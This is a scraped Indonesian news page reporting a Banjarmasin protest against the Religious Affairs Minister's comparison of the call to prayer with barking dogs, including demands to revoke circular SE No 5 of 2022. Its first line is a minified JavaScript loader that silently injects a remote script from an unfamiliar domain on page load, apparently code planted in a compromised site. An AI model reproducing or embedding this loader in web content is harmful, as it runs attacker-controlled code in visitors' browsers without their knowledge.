(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Tiga Tuntutan Pendemo di Kemenag Kalsel, Termasuk Cabut SE Kemenag No 5 Tahun 2022


KANALKALIMANTAN.COM, BANJARMASIN– Aksi demo masyarakat yang tergabung dalam Aliansi Pembela Umat Islam Kalsel menyuarakan sejumlah tuntutan imbas pernyataan Menteri Agama Yaqut Cholil Qoumas yang menganalogikan adzan dengan gonggongan anjing. Di antara tuntutannya, adalah membatalkan surat ederan Kemenag No 5 Tahun 2022.

Israhuddin salah seorang pengunjuk rasa mengutarakan, bahwa pernyataan yang diucapkan Yaqut Cholil adalah sebuah penghinaan bagi semua umat muslim.

“Hati kami sebagai umat muslim teriris seakan akan ini penghinaan. Seandainya beliau menganalogikan dengan suara lonceng gereja maka kami sebagai umat muslim tidak merasa tersinggung karena sebanding maknanya, tapi ini dibandingkan dengan suara anjing yang menggonggong, semua umat Islam tahu bahwa Adzan adalah suara yang sakral dan mulia,” ungkap Israhuddin.

Ia kembali menegaskan bahwa tidak elok dan tidak pantas saat Yaqut Cholil menyatakan bahwa suara adzan dianggap sama dengan suara gonggongan anjing. Yang mana dalam kehidupan dunia, Adzan selalu menjadi pengingat dalam melaksanakan ibadah.

 

Baca juga : Hadang Amukan Ojol dengan Keluarkan Senpi, Tindakan Briptu Suharno Disebut Sesuai SOP

“Adzan adalah pengingat. Cuma 5 kali dalam sehari! Patutkan ini menjadi sebuah bumerang bagi umat islam ketika Adzan disamakan dengan gonggongan anjing?,” tegasnya.

Mereka menyatakan sikap yang memuat tiga buah poin tuntutan, yaitu tuntutan untuk memproses secara hukum atas pernyataan dari Menag RI, meminta Menag RI bertaubat dan meminta maaf secara terbuka, serta meminta pemerintah untuk merevisi atau membatalkan surat ederan Kemenag No 5 Tahun 2022.

Dengan didampingi Kapolresta Banjarmasin, Kombespol Sabana Atmojo, Kepala Kantor Kemenag Kalsel, Muhammad Thambrin pun menanggapinya dengan menerima surat pernyataan sikap dari para pengunjuk rasa, serta tidak banyak memberikan komentar.(kanalkalimantan.com/Wanda)

Reporter : wanda
Editor : cell


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.